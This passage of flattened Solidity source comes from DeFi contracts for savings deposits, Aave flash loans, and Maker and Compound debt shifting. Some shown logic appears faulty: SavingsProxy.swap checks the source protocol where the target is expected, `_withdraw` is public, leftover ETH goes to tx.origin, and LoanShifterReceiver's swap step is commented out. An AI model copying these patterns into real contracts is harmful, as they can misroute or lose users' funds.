AAVE_POOL_CORE.balance; } else { liquidity = ERC20(tokenAddr).balanceOf(AAVE_POOL_CORE); } } function _packData( uint _cdpId, uint _gasCost, address _joinAddr, SaverExchangeCore.ExchangeData memory exchangeData ) internal pure returns (uint[6] memory numData, address[5] memory addrData, bytes memory callData) { numData = [ exchangeData.srcAmount, exchangeData.destAmount, exchangeData.minPrice, exchangeData.price0x, _cdpId, _gasCost ]; addrData = [ exchangeData.srcAddr, exchangeData.destAddr, exchangeData.exchangeAddr, exchangeData.wrapper, _joinAddr ]; callData = exchangeData.callData; } } contract SavingsProxy is DSRSavingsProtocol, CompoundSavingsProtocol { address public constant ADAI_ADDRESS = 0xfC1E690f61EFd961294b3e1Ce3313fBD8aa4f85d; address public constant SAVINGS_DYDX_ADDRESS = 0x03b1565e070df392e48e7a8e01798C4B00E534A5; address public constant SAVINGS_AAVE_ADDRESS = 0x535B9035E9bA8D7efe0FeAEac885fb65b303E37C; address public constant NEW_IDAI_ADDRESS = 0x493C57C4763932315A328269E1ADaD09653B9081; address public constant COMP_ADDRESS = 0x3d9819210A31b4961b30EF54bE2aeD79B9c9Cd3B; address public constant SAVINGS_LOGGER_ADDRESS = 0x89b3635BD2bAD145C6f92E82C9e83f06D5654984; address public constant SOLO_MARGIN_ADDRESS = 0x1E0447b19BB6EcFdAe1e4AE1694b0C3659614e4e; enum SavingsProtocol {Compound, Dydx, Fulcrum, Dsr, Aave} function deposit(SavingsProtocol _protocol, uint256 _amount) public { if (_protocol == SavingsProtocol.Dsr) { dsrDeposit(_amount, true); } else if (_protocol == SavingsProtocol.Compound) { compDeposit(msg.sender, _amount); } else { _deposit(_protocol, _amount, true); } SavingsLogger(SAVINGS_LOGGER_ADDRESS).logDeposit(msg.sender, uint8(_protocol), _amount); } function withdraw(SavingsProtocol _protocol, uint256 _amount) public { if (_protocol == SavingsProtocol.Dsr) { dsrWithdraw(_amount, true); } else if (_protocol == SavingsProtocol.Compound) { compWithdraw(msg.sender, _amount); } else { _withdraw(_protocol, _amount, true); } SavingsLogger(SAVINGS_LOGGER_ADDRESS).logWithdraw(msg.sender, uint8(_protocol), _amount); } function swap(SavingsProtocol _from, SavingsProtocol _to, uint256 _amount) public { if (_from == SavingsProtocol.Dsr) { dsrWithdraw(_amount, false); } else if (_from == SavingsProtocol.Compound) { compWithdraw(msg.sender, _amount); } else { _withdraw(_from, _amount, false); } // possible to withdraw 1-2 wei less than actual amount due to division precision // so we deposit all amount on DSProxy uint256 amountToDeposit = ERC20(DAI_ADDRESS).balanceOf(address(this)); if (_to == SavingsProtocol.Dsr) { dsrDeposit(amountToDeposit, false); } else if (_from == SavingsProtocol.Compound) { compDeposit(msg.sender, _amount); } else { _deposit(_to, amountToDeposit, false); } SavingsLogger(SAVINGS_LOGGER_ADDRESS).logSwap( msg.sender, uint8(_from), uint8(_to), _amount ); } function withdrawDai() public { ERC20(DAI_ADDRESS).transfer(msg.sender, ERC20(DAI_ADDRESS).balanceOf(address(this))); } function claimComp() public { ComptrollerInterface(COMP_ADDRESS).claimComp(address(this)); } function getAddress(SavingsProtocol _protocol) public pure returns (address) { if (_protocol == SavingsProtocol.Dydx) { return SAVINGS_DYDX_ADDRESS; } if (_protocol == SavingsProtocol.Aave) { return SAVINGS_AAVE_ADDRESS; } } function _deposit(SavingsProtocol _protocol, uint256 _amount, bool _fromUser) internal { if (_fromUser) { ERC20(DAI_ADDRESS).transferFrom(msg.sender, address(this), _amount); } approveDeposit(_protocol); ProtocolInterface(getAddress(_protocol)).deposit(address(this), _amount); endAction(_protocol); } function _withdraw(SavingsProtocol _protocol, uint256 _amount, bool _toUser) public { approveWithdraw(_protocol); ProtocolInterface(getAddress(_protocol)).withdraw(address(this), _amount); endAction(_protocol); if (_toUser) { withdrawDai(); } } function endAction(SavingsProtocol _protocol) internal { if (_protocol == SavingsProtocol.Dydx) { setDydxOperator(false); } } function approveDeposit(SavingsProtocol _protocol) internal { if (_protocol == SavingsProtocol.Compound || _protocol == SavingsProtocol.Fulcrum || _protocol == SavingsProtocol.Aave) { ERC20(DAI_ADDRESS).approve(getAddress(_protocol), uint256(-1)); } if (_protocol == SavingsProtocol.Dydx) { ERC20(DAI_ADDRESS).approve(SOLO_MARGIN_ADDRESS, uint256(-1)); setDydxOperator(true); } } function approveWithdraw(SavingsProtocol _protocol) internal { if (_protocol == SavingsProtocol.Compound) { ERC20(NEW_CDAI_ADDRESS).approve(getAddress(_protocol), uint256(-1)); } if (_protocol == SavingsProtocol.Dydx) { setDydxOperator(true); } if (_protocol == SavingsProtocol.Fulcrum) { ERC20(NEW_IDAI_ADDRESS).approve(getAddress(_protocol), uint256(-1)); } if (_protocol == SavingsProtocol.Aave) { ERC20(ADAI_ADDRESS).approve(getAddress(_protocol), uint256(-1)); } } function setDydxOperator(bool _trusted) internal { ISoloMargin.OperatorArg[] memory operatorArgs = new ISoloMargin.OperatorArg[](1); operatorArgs[0] = ISoloMargin.OperatorArg({ operator: getAddress(SavingsProtocol.Dydx), trusted: _trusted }); ISoloMargin(SOLO_MARGIN_ADDRESS).setOperators(operatorArgs); } } contract LoanShifterReceiver is SaverExchangeCore, FlashLoanReceiverBase, AdminAuth { ILendingPoolAddressesProvider public LENDING_POOL_ADDRESS_PROVIDER = ILendingPoolAddressesProvider(0x24a42fD28C976A61Df5D00D0599C34c4f90748c8); address public constant ETH_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; ShifterRegistry public constant shifterRegistry = ShifterRegistry(0x988B6CFBf3332FF98FFBdED665b1F53a61f92612); struct ParamData { bytes proxyData1; bytes proxyData2; address proxy; address debtAddr; uint8 protocol1; uint8 protocol2; uint8 swapType; } constructor() FlashLoanReceiverBase(LENDING_POOL_ADDRESS_PROVIDER) public {} function executeOperation( address _reserve, uint256 _amount, uint256 _fee, bytes calldata _params) external override { // Format the call data for DSProxy (ParamData memory paramData, ExchangeData memory exchangeData) = packFunctionCall(_amount, _fee, _params); address protocolAddr1 = shifterRegistry.getAddr(getNameByProtocol(paramData.protocol1)); address protocolAddr2 = shifterRegistry.getAddr(getNameByProtocol(paramData.protocol2)); // Send Flash loan amount to DSProxy sendToProxy(payable(paramData.proxy), _reserve, _amount); // Execute the Close/Change debt operation DSProxyInterface(paramData.proxy).execute(protocolAddr1, paramData.proxyData1); // if (paramData.swapType == 1) { // COLL_SWAP // exchangeData.srcAmount = getBalance(exchangeData.srcAddr); // (, uint amount) = _sell(exchangeData); // sendToProxy(payable(paramData.proxy), exchangeData.destAddr, amount); // } else if (paramData.swapType == 2) { // DEBT_SWAP // exchangeData.destAmount = (_amount + _fee); // _buy(exchangeData); // } else { // NO_SWAP just send tokens to proxy // sendToProxy(payable(paramData.proxy), exchangeData.srcAddr, getBalance(exchangeData.srcAddr)); // } // // Execute the Open operation (Skip if it's debt swap) // if (paramData.swapType != 2) { // DSProxyInterface(paramData.proxy).execute(protocolAddr2, paramData.proxyData2); // } // Repay FL transferFundsBackToPoolInternal(_reserve, _amount.add(_fee)); // if there is some eth left (0x fee), return it to user if (address(this).balance > 0) { tx.origin.transfer(address(this).balance); } } function packFunctionCall(uint _amount, uint _fee, bytes memory _params) internal pure returns (ParamData memory paramData, ExchangeData memory exchangeData) { ( uint[8] memory numData, // collAmount, debtAmount, id1, id2, srcAmount, destAmount, minPrice, price0x address[8] memory addrData, // addrLoan1, addrLoan2, debtAddr1, debtAddr2, srcAddr, destAddr, exchangeAddr, wrapper uint8[3] memory enumData, // fromProtocol, toProtocol, swapType bytes memory callData, address proxy ) = abi.decode(_params, (uint256[8],address[8],uint8[3],bytes,address)); bytes memory proxyData1; bytes memory proxyData2; uint openDebtAmount = (_amount + _fee); if (enumData[0] == 0) { // MAKER FROM proxyData1 = abi.encodeWithSignature("close(uint256,address,uint256,uint256)", numData[2], addrData[0], _amount, numData[0]); } else if(enumData[0] == 1) { // COMPOUND FROM proxyData1 = abi.encodeWithSignature( "close(address,address,uint256,uint256)", addrData[0], addrData[2], numData[0], numData[1]); } if (enumData[1] == 0) { // MAKER TO proxyData2 = abi.encodeWithSignature("open(uint256,address,uint256)", numData[3], addrData[1], openDebtAmount); } else if(enumData[1] == 1) { // COMPOUND TO proxyData2 = abi.encodeWithSignature("open(address,address,uint256)", addrData[1], addrData[3], openDebtAmount); } // Call specific function if it's a debt swap if (enumData[2] == 2) { // DEBT_SWAP proxyData1 = abi.encodeWithSignature("changeDebt(address,address,uint256,uint256)", addrData[2], addrData[3], (_amount + _fee), numData[4]); } paramData = ParamData({ proxyData1: proxyData1, proxyData2: proxyData2, proxy: proxy, debtAddr: addrData[2], protocol1: enumData[0], protocol2: enumData[1], swapType: enumData[2] }); exchangeData = SaverExchangeCore.ExchangeData({ srcAddr: addrData[4], destAddr: addrData[5], srcAmount: numData[4], destAmount: numData[5], minPrice: numData[6], wrapper: addrData[7], exchangeAddr: addrData[6], callData: callData, price0x: numData[7] }); } function sendToProxy(address payable _proxy, address _reserve, uint _amount) internal { if (_reserve != ETH_ADDRESS) { ERC20(_reserve).safeTransfer(_proxy, _amount); } _proxy.transfer(address(this).balance); } function getNameByProtocol(uint8 _proto) internal pure returns (string memory) { if (_proto == 0) { return "MCD_SHIFTER"; } else if (_proto == 1) { return "COMP_SHIFTER"; } } receive() external override(FlashLoanReceiverBase, SaverExchangeCore) payable {} } contract CompShifter is CompoundSaverHelper { address public constant COMPTROLLER_ADDR = 0x3d9819210A31b4961b30EF54bE2aeD79B9c9Cd3B; function getWholeDebt(uint _cdpId, address _joinAddr) public virtual returns(uint loanAmount) { return CTokenInterface(_joinAddr).borrowBalanceCurrent(msg.sender); } function close( address _cCollAddr, address _cBorrowAddr, uint _collAmount, uint _debtAmount ) public { address collAddr = getUnderlyingAddr(_cCollAddr); // payback debt paybackDebt(_debtAmount, _cBorrowAddr, getUnderlyingAddr(_cBorrowAddr), tx.origin); // draw coll if (CTokenInterface(_cBorrowAddr).borrowBalanceCurrent(address(this)) == 0) { uint cTokenBalance = CTokenInterface(_cCollAddr).balanceOf(address(this)); require(CTokenInterface(_cCollAddr).redeem(cTokenBalance) == 0); } else { require(CTokenInterface(_cCollAddr).redeemUnderlying(_collAmount) == 0); } // Send back money to repay FL if (collAddr == ETH_ADDRESS) { msg.sender.transfer(address(this).balance); } else { ERC20(collAddr).transfer(msg.sender, ERC20(collAddr).balanceOf(address(this))); } } function changeDebt( address _cBorrowAddrOld, address _cBorrowAddrNew, uint _debtAmountOld, uint _debtAmountNew ) public { address borrowAddrNew = getUnderlyingAddr(_cBorrowAddrNew); // payback debt in one token paybackDebt(_debtAmountOld, _cBorrowAddrOld, getUnderlyingAddr(_cBorrowAddrOld), tx.origin); // draw debt in another one borrowCompound(_cBorrowAddrNew, _debtAmountNew); // Send back money to repay FL if (borrowAddrNew == ETH_ADDRESS) { msg.sender.transfer(address(this).balance); } else { ERC20(borrowAddrNew).transfer(msg.sender, ERC20(borrowAddrNew).balanceOf(address(this))); } } function open( address _cCollAddr, address _cBorrowAddr, uint _debtAmount ) public { address collAddr = getUnderlyingAddr(_cCollAddr); address borrowAddr = getUnderlyingAddr(_cBorrowAddr); uint collAmount = 0; if (collAddr == ETH_ADDRESS) { collAmount = address(this).balance; } else { collAmount = ERC20(collAddr).balanceOf(address(this)); } depositCompound(collAddr, _cCollAddr, collAmount); // draw debt borrowCompound(_cBorrowAddr, _debtAmount); // Send back money to repay FL if (borrowAddr == ETH_ADDRESS) { msg.sender.transfer(address(this).balance); } else { ERC20(borrowAddr).transfer(msg.sender, ERC20(borrowAddr).balanceOf(address(this))); } } function depositCompound(address _tokenAddr, address _cTokenAddr, uint _amount) internal { approveCToken(_tokenAddr, _cTokenAddr); enterMarket(_cTokenAddr); if (_tokenAddr != ETH_ADDRESS) { require(CTokenInterface(_cTokenAddr).mint(_amount) == 0, "mint error"); } else { CEtherInterface(_cTokenAddr).mint{value: _amount}(); } } function borrowCompound(address _cTokenAddr, uint _amount) internal { enterMarket(_cTokenAddr); require(CTokenInterface(_cTokenAddr).borrow(_amount) == 0); } function enterMarket(address _cTokenAddr) public { address[] memory markets = new address[](1); markets[0] = _cTokenAddr; ComptrollerInterface(COMPTROLLER_ADDR).enterMarkets(markets); } } contract McdShifter is MCDSaverProxy { address public constant OPEN_PROXY_ACTIONS = 0x6d0984E80a86f26c0dd564ca0CF74a8E9Da03305; function getLoanAmount(uint _cdpId, address _joinAddr) public view virtual returns(uint loanAmount) { bytes32 ilk = manager.ilks(_cdpId); (, uint rate,,,) = vat.ilks(ilk); (, uint art) = vat.urns(ilk, manager.urns(_cdpId)); uint dai = vat.dai(manager.urns(_cdpId)); uint rad = sub(mul(art, rate), dai); loanAmount = rad / RAY; loanAmount = mul(loanAmount, RAY) < rad ? loanAmount + 1 : loanAmount; } function close( uint _cdpId, address _joinAddr, uint _loanAmount, uint _collateral ) public { address owner = getOwner(manager, _cdpId); bytes32 ilk = manager.ilks(_cdpId); (uint maxColl, ) = getCdpInfo(manager, _cdpId, ilk); // repay dai debt cdp paybackDebt(_cdpId, ilk, _loanAmount, owner); maxColl = _collateral > maxColl ? maxColl : _collateral; // withdraw collateral from cdp drawMaxCollateral(_cdpId, _joinAddr, maxColl); // send back to msg.sender if (_joinAddr == ETH_JOIN_ADDRESS) { msg.sender.transfer(address(this).balance); } else { ERC20 collToken = ERC20(getCollateralAddr(_joinAddr)); collToken.transfer(msg.sender, collToken.balanceOf(address(this))); } } function open( uint _cdpId, address _joinAddr, uint _debtAmount ) public { uint collAmount = 0; if (_joinAddr == ETH_JOIN_ADDRESS) { collAmount = address(this).balance; } else { collAmount = ERC20(address(Join(_joinAddr).gem())).balanceOf(address(this)); } if (_cdpId == 0) { openAndWithdraw(collAmount, _debtAmount, address(this), _joinAddr); } else { // add collateral addCollateral(_cdpId, _joinAddr, collAmount); // draw debt drawDai(_cdpId, manager.ilks(_cdpId), _debtAmount); } // transfer to repay FL ERC20(DAI_ADDRESS).transfer(msg.sender, ERC20(DAI_ADDRESS).balanceOf(address(this))); if (address(this).balance > 0) { tx.origin.transfer(address(this).balance); } } function openAndWithdraw(uint _collAmount, uint _debtAmount, address _proxy, address _joinAddrTo) internal { bytes32 ilk = Join(_joinAddrTo).ilk(); if (_joinAddrTo == ETH_JOIN_ADDRESS) { MCDCreateProxyActions(OPEN_PROXY_ACTIONS).openLockETHAndDraw{value: address(this).balance}( address(manager), JUG_ADDRESS, ETH_JOIN_ADDRESS, DAI_JOIN_ADDRESS, ilk, _debtAmount, _proxy ); } else { ERC20(getCollateralAddr(_joinAddrTo)).approve(OPEN_PROXY_ACTIONS, uint256(-1)); MCDCreateProxyActions(OPEN_PROXY_ACTIONS).openLockGemAndDraw( address(manager), JUG_ADDRESS, _joinAddrTo, DAI_JOIN_ADDRESS, ilk, _collAmount, _debtAmount, true, _proxy ); } } function drawMaxCollateral(uint _cdpId, address _joinAddr, uint _amount) internal returns (uint) { manager.frob(_cdpId, -toPositiveInt(_amount), 0); manager.flux(_cdpId, address(this), _amount); uint joinAmount = _amount; if (Join(_joinAddr).dec() != 18) { joinAmount = _amount / (10 ** (18 - Join(_joinAddr).dec())); } Join(_joinAddr).exit(address(this), joinAmount); if (_joinAddr == ETH_JOIN_ADDRESS) { Join(_joinAddr).gem().withdraw(joinAmount); // Weth -> Eth } return joinAmount; } } contract AaveSaverProxy is GasBurner, SaverExchangeCore, AaveHelper { address public constant DEFISAVER_LOGGER = 0x5c55B921f590a89C1Ebe84dF170E655a82b62126; uint public constant VARIABLE_RATE = 2; function repay(ExchangeData memory _data, uint _gasCost) public payable burnGas(20) { address lendingPoolCore = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getLendingPoolCore(); address lendingPool = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getLendingPool(); address payable user = payable(getUserAddress()); uint256 maxCollateral = getMaxCollateral(_data.srcAddr, address(this)); // don't swap more than maxCollateral _data.srcAmount = _data.srcAmount > maxCollateral ? maxCollateral : _data.srcAmount; // redeem collateral address aTokenCollateral = ILendingPool(lendingPoolCore).getReserveATokenAddress(_data.srcAddr); IAToken(aTokenCollateral).redeem(_data.srcAmount); // swap (, uint256 destAmount) = _sell(_data); destAmount -= getFee(destAmount, user, _gasCost, _data.destAddr); // payback if (_data.destAddr == ETH_ADDR) { ILendingPool(lendingPool).repay{value: destAmount}(_data.destAddr, destAmount, payable(address(this))); } else { approveToken(_data.destAddr, lendingPoolCore); ILendingPool(lendingPool).repay(_data.destAddr, destAmount, payable(address(this))); } // first return 0x fee to msg.sender as it is the address that actually sent 0x fee sendContractBalance(ETH_ADDR, msg.sender, min(address(this).balance, msg.value)); // send all leftovers from dest addr to proxy owner sendFullContractBalance(_data.destAddr, user); DefisaverLogger(DEFISAVER_LOGGER).Log(address(this), msg.sender, "AaveRepay", abi.encode(_data.srcAddr, _data.destAddr, _data.srcAmount, destAmount)); } function boost(ExchangeData memory _data, uint _gasCost) public payable burnGas(20) { address lendingPoolCore = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getLendingPoolCore(); address lendingPool = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getLendingPool(); (,,,,,,,,,bool collateralEnabled) = ILendingPool(lendingPool).getUserReserveData(_data.destAddr, address(this)); address payable user = payable(getUserAddress()); uint256 maxBorrow = getMaxBorrow(_data.srcAddr, address(this)); _data.srcAmount = _data.srcAmount > maxBorrow ? maxBorrow : _data.srcAmount; // borrow amount ILendingPool(lendingPool).borrow(_data.srcAddr, _data.srcAmount, VARIABLE_RATE, AAVE_REFERRAL_CODE); _data.srcAmount -= getFee(_data.srcAmount, user, _gasCost, _data.srcAddr); // swap (, uint256 destAmount) = _sell(_data); if (_data.destAddr == ETH_ADDR) { ILendingPool(lendingPool).deposit{value: destAmount}(_data.destAddr, destAmount, AAVE_REFERRAL_CODE); } else { approveToken(_data.destAddr, lendingPoolCore); ILendingPool(lendingPool).deposit(_data.destAddr, destAmount, AAVE_REFERRAL_CODE); } if (!collateralEnabled) { ILendingPool(lendingPool).setUserUseReserveAsCollateral(_data.destAddr, true); } // returning to msg.sender as it is the address that actually sent 0x fee sendContractBalance(ETH_ADDR, msg.sender, min(address(this).balance, msg.value)); // send all leftovers from dest addr to proxy owner sendFullContractBalance(_data.destAddr, user); DefisaverLogger(DEFISAVER_LOGGER).Log(address(this), msg.sender, "AaveBoost", abi.encode(_data.srcAddr, _data.destAddr, _data.srcAmount, destAmount)); } } contract CompoundLoanInfo is CompoundSafetyRatio { struct LoanData { address user; uint128 ratio; address[] collAddr; address[] borrowAddr; uint[] collAmounts; uint[] borrowAmounts; } struct TokenInfo { address cTokenAddress; address underlyingTokenAddress; uint collateralFactor; uint price; } struct TokenInfoFull { address underlyingTokenAddress; uint supplyRate; uint borrowRate; uint exchangeRate; uint marketLiquidity; uint totalSupply; uint totalBorrow; uint collateralFactor; uint price; } address public constant ETH_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; address public constant CETH_ADDRESS = 0x4Ddc2D193948926D02f9B1fE9e1daa0718270ED5; /// @notice Calcualted the ratio of coll/debt for a compound user /// @param _user Address of the user function getRatio(address _user) public view returns (uint) { // For each asset the account is in return getSafetyRatio(_user); } /// @notice Fetches Compound prices for tokens /// @param _cTokens Arr. of cTokens for which to get the prices /// @return prices Array of prices function getPrices(address[] memory _cTokens) public view returns (uint[] memory prices) { prices = new uint[](_cTokens.length); address oracleAddr = comp.oracle(); for (uint i = 0; i < _cTokens.length; ++i) { prices[i] = CompoundOracleInterface(oracleAddr).getUnderlyingPrice(_cTokens[i]); } } /// @notice Fetches Compound collateral factors for tokens /// @param _cTokens Arr. of cTokens for which to get the coll. factors /// @return collFactors Array of coll. factors function getCollFactors(address[] memory _cTokens) public view returns (uint[] memory collFactors) { collFactors = new uint[](_cTokens.length); for (uint i = 0; i < _cTokens.length; ++i) { (, collFactors[i]) = comp.markets(_cTokens[i]); } } /// @notice Fetches all the collateral/debt address and amounts, denominated in usd /// @param _user Address of the user /// @return data LoanData information function getLoanData(address _user) public view returns (LoanData memory data) { address[] memory assets = comp.getAssetsIn(_user); address oracleAddr = comp.oracle(); data = LoanData({ user: _user, ratio: 0, collAddr: new address[](assets.length), borrowAddr: new address[](assets.length), collAmounts: new uint[](assets.length), borrowAmounts: new uint[](assets.length) }); uint collPos = 0; uint borrowPos = 0; for (uint i = 0; i < assets.length; i++) { address asset = assets[i]; (, uint cTokenBalance, uint borrowBalance, uint exchangeRateMantissa) = CTokenInterface(asset).getAccountSnapshot(_user); Exp memory oraclePrice; if (cTokenBalance != 0 || borrowBalance != 0) { oraclePrice = Exp({mantissa: CompoundOracleInterface(oracleAddr).getUnderlyingPrice(asset)}); } // Sum up collateral in Usd if (cTokenBalance != 0) { Exp memory exchangeRate = Exp({mantissa: exchangeRateMantissa}); (, Exp memory tokensToUsd) = mulExp(exchangeRate, oraclePrice); data.collAddr[collPos] = asset; (, data.collAmounts[collPos]) = mulScalarTruncate(tokensToUsd, cTokenBalance); collPos++; } // Sum up debt in Usd if (borrowBalance != 0) { data.borrowAddr[borrowPos] = asset; (, data.borrowAmounts[borrowPos]) = mulScalarTruncate(oraclePrice, borrowBalance); borrowPos++; } } data.ratio = uint128(getSafetyRatio(_user)); return data; } function getTokenBalances(address _user, address[] memory _cTokens) public view returns (uint[] memory balances, uint[] memory borrows) { balances = new uint[](_cTokens.length); borrows = new uint[](_cTokens.length); for (uint i = 0; i < _cTokens.length; i++) { address asset = _cTokens[i]; (, uint cTokenBalance, uint borrowBalance, uint exchangeRateMantissa) = CTokenInterface(asset).getAccountSnapshot(_user); Exp memory exchangeRate = Exp({mantissa: exchangeRateMantissa}); (, balances[i]) = mulScalarTruncate(exchangeRate, cTokenBalance); borrows[i] = borrowBalance; } } /// @notice Fetches all the collateral/debt address and amounts, denominated in usd /// @param _users Addresses of the user /// @return loans Array of LoanData information function getLoanDataArr(address[] memory _users) public view returns (LoanData[] memory loans) { loans = new LoanData[](_users.length); for (uint i = 0; i < _users.length; ++i) { loans[i] = getLoanData(_users[i]); } } /// @notice Calcualted the ratio of coll/debt for a compound user /// @param _users Addresses of the user /// @return ratios Array of ratios function getRatios(address[] memory _users) public view returns (uint[] memory ratios) { ratios = new uint[](_users.length); for (uint i = 0; i < _users.length; ++i) { ratios[i] = getSafetyRatio(_users[i]); } } /// @notice Information about cTokens /// @param _cTokenAddresses Array of cTokens addresses /// @return tokens Array of cTokens infomartion function getTokensInfo(address[] memory _cTokenAddresses) public returns(TokenInfo[] memory tokens) { tokens = new TokenInfo[](_cTokenAddresses.length); address oracleAddr = comp.oracle(); for (uint i = 0; i < _cTokenAddresses.length; ++i) { (, uint collFactor) = comp.markets(_cTokenAddresses[i]); tokens[i] = TokenInfo({ cTokenAddress: _cTokenAddresses[i], underlyingTokenAddress: getUnderlyingAddr(_cTokenAddresses[i]), collateralFactor: collFactor, price: CompoundOracleInterface(oracleAddr).getUnderlyingPrice(_cTokenAddresses[i]) }); } } /// @notice Information about cTokens /// @param _cTokenAddresses Array of cTokens addresses /// @return tokens Array of cTokens infomartion function getFullTokensInfo(address[] memory _cTokenAddresses) public returns(TokenInfoFull[] memory tokens) { tokens = new TokenInfoFull[](_cTokenAddresses.length); address oracleAddr = comp.oracle(); for (uint i = 0; i < _cTokenAddresses.length; ++i) { (, uint collFactor) = comp.markets(_cTokenAddresses[i]); CTokenInterface cToken = CTokenInterface(_cTokenAddresses[i]); tokens[i] = TokenInfoFull({ underlyingTokenAddress: getUnderlyingAddr(_cTokenAddresses[i]), supplyRate: cToken.supplyRatePerBlock(), borrowRate: cToken.borrowRatePerBlock(), exchangeRate: cToken.exchangeRateCurrent(), marketLiquidity: cToken.getCash(), totalSupply: cToken.totalSupply(), totalBorrow: cToken.totalBorrowsCurrent(), collateralFactor: collFactor, price: CompoundOracleInterface(oracleAddr).getUnderlyingPrice(_cTokenAddresses[i]) }); } } /// @notice Returns the underlying address of the cToken asset /// @param _cTokenAddress cToken address /// @return Token address of the cToken specified function getUnderlyingAddr(address _cTokenAddress) internal returns (address) { if (_cTokenAddress == CETH_ADDRESS) { return ETH_ADDRESS; } else { return CTokenInterface(_cTokenAddress).underlying(); } } } contract CompoundCreateReceiver is FlashLoanReceiverBase, SaverExchangeCore { ILendingPoolAddressesProvider public LENDING_POOL_ADDRESS_PROVIDER = ILendingPoolAddressesProvider(0x24a42fD28C976A61Df5D00D0599C34c4f90748c8); ShifterRegistry public constant shifterRegistry = ShifterRegistry(0x2E82103bD91053C781aaF39da17aE58ceE39d0ab); address public constant ETH_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; address payable public constant WALLET_ADDR = 0x322d58b9E75a6918f7e7849AEe0fF09369977e08; address public constant DISCOUNT_ADDR = 0x1b14E8D511c9A4395425314f849bD737BAF8208F; // solhint-disable-next-line no-empty-blocks constructor() public FlashLoanReceiverBase(LENDING_POOL_ADDRESS_PROVIDER) {} /// @notice Called by Aave when sending back the FL amount /// @param _reserve The address of the borrowed token /// @param _amount Amount of FL tokens received /// @param _fee FL Aave fee /// @param _params The params that are sent from the original FL caller contract function executeOperation( address _reserve, uint256 _amount, uint256 _fee, bytes calldata _params) external override { // Format the call data for DSProxy (address payable proxyAddr, bytes memory proxyData, ExchangeData memory exchangeData) = packFunctionCall(_amount, _fee, _params); // Swap (, uint sellAmount) = _sell(exchangeData); // DFS fee getFee(sellAmount, exchangeData.destAddr, proxyAddr); // Send amount to DSProxy sendToProxy(proxyAddr, exchangeData.destAddr); address compOpenProxy = shifterRegistry.getAddr("COMP_SHIFTER"); // Execute the DSProxy call DSProxyInterface(proxyAddr).execute(compOpenProxy, proxyData); // Repay the loan with the money DSProxy sent back transferFundsBackToPoolInternal(_reserve, _amount.add(_fee)); // if there is some eth left (0x fee), return it to user if (address(this).balance > 0) { // solhint-disable-next-line avoid-tx-origin tx.origin.transfer(address(this).balance); } } /// @notice Formats function data call so we can call it through DSProxy /// @param _amount Amount of FL /// @param _fee Fee of the FL /// @param _params Saver proxy params function packFunctionCall(uint _amount, uint _fee, bytes memory _params) internal pure returns (address payable, bytes memory proxyData, ExchangeData memory exchangeData) { ( uint[4] memory numData, // srcAmount, destAmount, minPrice, price0x address[6] memory cAddresses, // cCollAddr, cDebtAddr, srcAddr, destAddr, exchangeAddr, wrapper bytes memory callData, address proxy ) = abi.decode(_params, (uint256[4],address[6],bytes,address)); proxyData = abi.encodeWithSignature( "open(address,address,uint256)", cAddresses[0], cAddresses[1], (_amount + _fee)); exchangeData = SaverExchangeCore.ExchangeData({ srcAddr: cAddresses[2], destAddr: cAddresses[3], srcAmount: numData[0], destAmount: numData[1], minPrice: numData[2], wrapper: cAddresses[5], exchangeAddr: cAddresses[4], callData: callData, price0x: numData[3] }); return (payable(proxy), proxyData, exchangeData); } /// @notice Send the FL funds received to DSProxy /// @param _proxy DSProxy address /// @param _reserve Token address function sendToProxy(address payable _proxy, address _reserve) internal { if (_reserve != ETH_ADDRESS) { ERC20(_reserve).safeTransfer(_proxy, ERC20(_reserve).balanceOf(address(this))); } else { _proxy.transfer(address(this).balance); } } function getFee(uint _amount, address _tokenAddr, address _proxy) internal returns (uint feeAmount) { uint fee = 400; DSProxy proxy = DSProxy(payable(_proxy)); address user = proxy.owner(); if (Discount(DISCOUNT_ADDR).isCustomFeeSet(user)) { fee = Discount(DISCOUNT_ADDR).getCustomServiceFee(user); } feeAmount = (fee == 0) ? 0 : (_amount / fee); // fee can't go over 20% of the whole amount if (feeAmount > (_amount / 5)) { feeAmount = _amount / 5; } if (_tokenAddr == ETH_ADDRESS) { WALLET_ADDR.transfer(feeAmount); } else { ERC20(_tokenAddr).safeTransfer(WALLET_ADDR, feeAmount); } } // solhint-disable-next-line no-empty-blocks receive() external override(FlashLoanReceiverBase, SaverExchangeCore) payable {} } contract CompoundSaverFlashLoan is FlashLoanReceiverBase, SaverExchangeCore { ILendingPoolAddressesProvider public LENDING_POOL_ADDRESS_PROVIDER = ILendingPoolAddressesProvider(0x24a42fD28C976A61Df5D00D0599C34c4f90748c8); address payable public COMPOUND_SAVER_FLASH_PROXY = 0x6423708d6B84Af237Ab309dF49f6b8Fb751f28FB; address public constant ETH_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; address public owner; using SafeERC20 for ERC20; constructor() FlashLoanReceiverBase(LENDING_POOL_ADDRESS_PROVIDER) public { owner = msg.sender; } /// @notice Called by Aave when sending back the FL amount /// @param _reserve The address of the borrowed token /// @param _amount Amount of FL tokens received /// @param _fee FL Aave fee /// @param _params The params that are sent from the original FL caller contract function executeOperation( address _reserve, uint256 _amount, uint256 _fee, bytes calldata _params) external override { // Format the call data for DSProxy (bytes memory proxyData, address payable proxyAddr) = packFunctionCall(_amount, _fee, _params); // Send Flash loan amount to DSProxy sendLoanToProxy(proxyAddr, _reserve, _amount); // Execute the DSProxy call DSProxyInterface(proxyAddr).execute(COMPOUND_SAVER_FLASH_PROXY, proxyData); // Repay the loan with the money DSProxy sent back transferFundsBackToPoolInternal(_reserve, _amount.add(_fee)); // if there is some eth left (0x fee), return it to user if (address(this).balance > 0) { tx.origin.transfer(address(this).balance); } } /// @notice Formats function data call so we can call it through DSProxy /// @param _amount Amount of FL /// @param _fee Fee of the FL /// @param _params Saver proxy params /// @return proxyData Formated function call data function packFunctionCall(uint _amount, uint _fee, bytes memory _params) internal pure returns (bytes memory proxyData, address payable) { ( bytes memory exDataBytes, address[2] memory cAddresses, // cCollAddress, cBorrowAddress uint256 gasCost, bool isRepay, 